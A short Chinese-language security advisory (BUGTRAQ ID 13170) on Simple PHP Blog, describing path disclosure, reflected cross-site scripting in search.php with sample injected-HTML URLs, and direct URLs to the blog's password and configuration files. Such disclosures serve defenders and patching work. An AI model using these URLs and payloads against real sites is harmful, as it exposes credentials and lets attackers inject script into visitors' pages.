BUGTRAQ ID: 13170

Simple PHP Blog是一款无需数据库支持的简单Blog程序。

sphpblog中存在多个漏洞，起因是应用程序没有正确的验证用户输入。远程攻击者可以利用这些漏洞获取敏感信息或执行任意代码。

A. 完整路径泄漏

http://[Url]/sphpblog/scripts/sb_functions.php

Ex:

Warning: main(scripts/sb_fileio.php): failed to open stream: No such file or directory in
/var/www/sphpblog/scripts/sb_functions.php on line 52

Fatal error: main(): Failed opening required 'scripts/sb_fileio.php'
(include_path='.:/usr/share/pear') in
/var/www/sphpblog/scripts/sb_functions.php on line 52

B. search.php跨站脚本漏洞

http://Url/sphpblog/search.php?q=[XSS]

http://[Url]/sphpblog/search.php?q=%3Cmarquee%3Ewe+are+a+like%3C%2Fmarquee%3E
http://[URl]/sphpblog/search.php?q=<a href=http://echo.or.id>echo</a>

C. 关键信息泄漏

攻击者可能直接访问有关blog和用户的口令和配置文件。

口令文件使用PHP的crypt()函数。

http://[Url]/sphpblog/config/password.txt
http://[Url]/sphpblog/config/config.txt
